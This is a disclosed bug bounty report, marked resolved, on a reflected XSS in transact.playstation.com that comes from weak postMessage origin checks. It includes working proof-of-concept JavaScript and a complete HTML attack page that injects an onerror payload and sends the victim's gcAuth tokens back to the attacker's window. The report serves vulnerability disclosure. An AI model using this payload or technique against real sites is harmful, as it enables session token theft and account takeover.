Reflected XSS on transact.playstation.com using postMessage from the opening window
Team Summary
Official summary from PlayStation
## Report Summary: When `transact.playstation.com` loads it handles messages received from `postMessage` in the `_receiveMessageFromTransactClientService` method. The only validation that is performed is to ensure that the referrer and origin match: ```javascript _receiveMessageFromTransactClientService: function (e) { var n = void 0, r = this.get("replaceRoute"), i = this.get("referrer"); if (!i || e.origin === (0, t.default)(i)) { try { n = JSON.parse(e.data); } catch (u) {} ``` These checks can be passed by using `win = window.open("https://transact.playstation.com/")` to launch a new window, then send messages with `win.postMessage`. This allows a few functions to be called, including `replaceRoute` which allows the current ember route and model to be set: ```javascript win = window.open("https://transact.playstation.com/"); win.postMessage(JSON.stringify({ action: "replaceRoute", route: "application_error", model: { error: 500, title: "injected", message: "from vakzz" } }), "*"); ``` After looking at a few of the routes, `voucher.multi-product-details` has a `sku.longDescription` on the model that is rendered as html and can be used to create an xss if the user is logged in: ```javascript win.postMessage(JSON.stringify({ action: "replaceRoute", route: "voucher.multi-product-details", model: { eligible: true, sku: { id: 0, longDescription: ` <img src=x onerror='alert(document.domain)'>` } } }), "*"); ``` Using the XSS, the current tokens from `gcAuth` can be retrieved and posted back to the opening window using: ```javascript valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*")); ``` ## Steps To Reproduce: 1. Log into <https://id.sonyentertainmentnetwork.com/id/management> 1. Visit <https://aw.rs/ps4/xss1.html> 1. Click the button and wait 5 seconds 1. The XSS will fire and post a message back to the opening window: ## Supporting Material/References: Source of <https://aw.rs/ps4/xss1.html> ```html <!DOCTYPE html> <html> <body> <button onclick="start()">click me</button> <script> window.addEventListener("message", (msg) => { console.log("got message", msg); alert(msg.data); }); async function start() { win = window.open("https://transact.playstation.com/", "transact"); await new Promise((resolve) => setTimeout(resolve, 5000)); win.postMessage(JSON.stringify({ action: "replaceRoute", route: "voucher.multi-product-details", model: { eligible: true, sku: { id: 0, longDescription: ` <img src=x onerror=' valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*")); '>` } } }), "*"); } </script> </body> </html> ``` ## Impact Allows an attacker to execute arbitrary javascript on `transact.playstation.com` if a user visits or clicks on a malicious link, allowing cookies, tokens, and localStorage to be stolen.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$1000.00
Submitted
Weakness
Cross-site Scripting (XSS) - Reflected